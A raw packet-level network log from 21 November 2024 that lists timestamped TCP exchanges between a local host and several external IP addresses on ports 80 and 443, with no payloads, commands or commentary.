Nov 21, 2024 03:09:17.253190041 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.253235102 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.253294945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.254019976 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.254065990 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.254103899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.254148960 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.254816055 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.254863977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.254909039 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.254955053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.255640984 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.255691051 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.255736113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.255775928 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.256470919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.256522894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.256588936 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.256634951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.257307053 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.257350922 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.257407904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.257477999 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.258156061 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.258204937 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.258243084 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.258285999 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.259074926 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.259119987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.259151936 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.259169102 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.259818077 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.259865046 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.259963036 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.260009050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.260648966 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.260695934 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.260766029 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.260813951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.261495113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.261540890 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.261591911 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.261635065 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.262290001 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.262336016 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.262408972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.262451887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.263139963 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.263185024 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.263219118 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.263257980 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.263993979 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.264055014 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.264086962 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.264130116 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.264827967 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.264874935 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.264909029 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.264952898 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.283811092 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.283900976 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.283934116 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.283957005 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.284187078 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.284234047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.284308910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.284354925 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.284857988 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.284907103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.284943104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.284984112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.285706997 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.285756111 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.285789967 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.285834074 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.425724983 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.425827026 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.425849915 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.425905943 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.426034927 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.426090002 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.426153898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.426223993 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.426878929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.426932096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.427180052 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.427228928 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.427290916 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.427334070 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.428040028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.428092957 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.428093910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.428144932 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.428853035 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.428904057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.428971052 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.429022074 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.429707050 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.429757118 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.429845095 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.429899931 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.430516958 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.430568933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.430646896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.430694103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.431355000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.431404114 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.431472063 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.431521893 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.432215929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.432265997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.432315111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.432363987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.433022976 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.433073997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.433136940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.433186054 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.433859110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.433908939 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.433973074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.434026957 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.434700012 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.434746981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.434811115 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.434859991 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.435538054 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.435591936 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.435657024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.435707092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.436409950 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.436480999 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.436546087 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.436598063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.437376976 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.437427998 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.437509060 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.437557936 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.438179970 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.438231945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.438282967 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.438332081 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.438890934 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.438941956 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.438992023 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.439044952 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.440186024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.440290928 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.440295935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.440345049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.440541983 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.440606117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.440674067 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.440723896 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.441375971 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.441426039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.441489935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.441540003 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.442219973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.442270994 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.442334890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.442384958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.443058014 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.443110943 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.443191051 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.443242073 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.443913937 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.443968058 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.444046974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.444098949 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.444725037 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.444780111 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.444823027 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.444870949 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.445544004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.445600033 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.445662975 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.445712090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.446377993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.446429968 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.446492910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.446564913 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.447212934 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.447264910 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.447345972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.447396040 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.448034048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.448086977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.448148012 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.448198080 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.448884964 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.448937893 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.449002981 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.449054003 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.449704885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.449754953 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.449832916 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.449883938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.450527906 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.450575113 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.450653076 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.450700998 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.451385021 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.451435089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.451479912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.451523066 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.452198029 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.452248096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.452326059 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.452375889 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.453041077 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.453093052 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.453159094 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.453208923 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.453880072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.453924894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.453991890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.454052925 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.454705000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.454755068 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.454817057 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.454864025 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.455552101 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.455605030 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.455657959 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.455705881 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.456389904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.456439972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.456506014 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.456571102 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.457206964 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.457256079 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.457319975 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.457370043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.458074093 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.458127022 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.458167076 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.458214998 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.458904028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.458949089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.458966970 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.459007025 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.459685087 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.459729910 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.459778070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.459824085 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.460501909 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.460546970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.460622072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.460665941 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.461330891 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.461374044 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.461404085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.461446047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:18.564347982 CET	443	49830	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:18.564815044 CET	49830	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:18.564845085 CET	443	49830	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:18.565284014 CET	49830	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:18.565291882 CET	443	49830	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:18.575700045 CET	443	49831	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:18.576082945 CET	49831	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:18.576109886 CET	443	49831	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:18.576459885 CET	49831	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:18.576466084 CET	443	49831	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:18.718106985 CET	443	49832	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:18.719214916 CET	49832	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:18.719238997 CET	443	49832	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:18.719711065 CET	49832	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:18.719716072 CET	443	49832	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:18.719844103 CET	443	49834	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:18.720277071 CET	49834	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:18.720284939 CET	443	49834	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:18.720827103 CET	49834	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:18.720830917 CET	443	49834	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:18.726246119 CET	443	49833	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:18.727030993 CET	49833	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:18.727046013 CET	443	49833	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:18.727426052 CET	49833	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:18.727431059 CET	443	49833	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.000833035 CET	443	49830	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.003807068 CET	443	49830	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.005573034 CET	49830	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.011970043 CET	443	49831	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.014970064 CET	443	49831	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.015091896 CET	443	49831	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.015234947 CET	49831	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.052067995 CET	49830	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.052067995 CET	49830	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.052115917 CET	443	49830	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.052130938 CET	443	49830	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.086601973 CET	49831	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.086622953 CET	443	49831	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.086662054 CET	49831	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.086668968 CET	443	49831	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.114003897 CET	49835	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.114043951 CET	443	49835	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.114130974 CET	49835	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.165584087 CET	443	49834	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.168677092 CET	443	49834	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.169358015 CET	49834	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.169969082 CET	443	49833	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.173167944 CET	443	49833	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.173578978 CET	49833	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.175456047 CET	443	49832	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.178550959 CET	443	49832	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.181457043 CET	49832	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.216078997 CET	49835	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.216092110 CET	443	49835	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.218692064 CET	49834	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.218719959 CET	443	49834	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.218733072 CET	49834	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.218740940 CET	443	49834	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.219432116 CET	49833	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.219432116 CET	49833	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.219444990 CET	443	49833	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.219453096 CET	443	49833	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.220622063 CET	49832	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.220628977 CET	443	49832	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.300935030 CET	49836	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.301003933 CET	443	49836	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.301086903 CET	49836	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.302145958 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.302233934 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.302671909 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.304976940 CET	49836	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.305017948 CET	443	49836	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.305475950 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.305519104 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.319930077 CET	49838	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.319967985 CET	443	49838	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.320029974 CET	49838	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.320625067 CET	49838	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.320645094 CET	443	49838	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.325706959 CET	49839	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.325794935 CET	443	49839	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.325933933 CET	49839	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.331856012 CET	49839	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:19.331890106 CET	443	49839	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:19.757791996 CET	49808	80	192.168.2.5	185.215.113.43
Nov 21, 2024 03:09:19.758181095 CET	49840	80	192.168.2.5	185.215.113.43
Nov 21, 2024 03:09:19.877681017 CET	80	49808	185.215.113.43	192.168.2.5
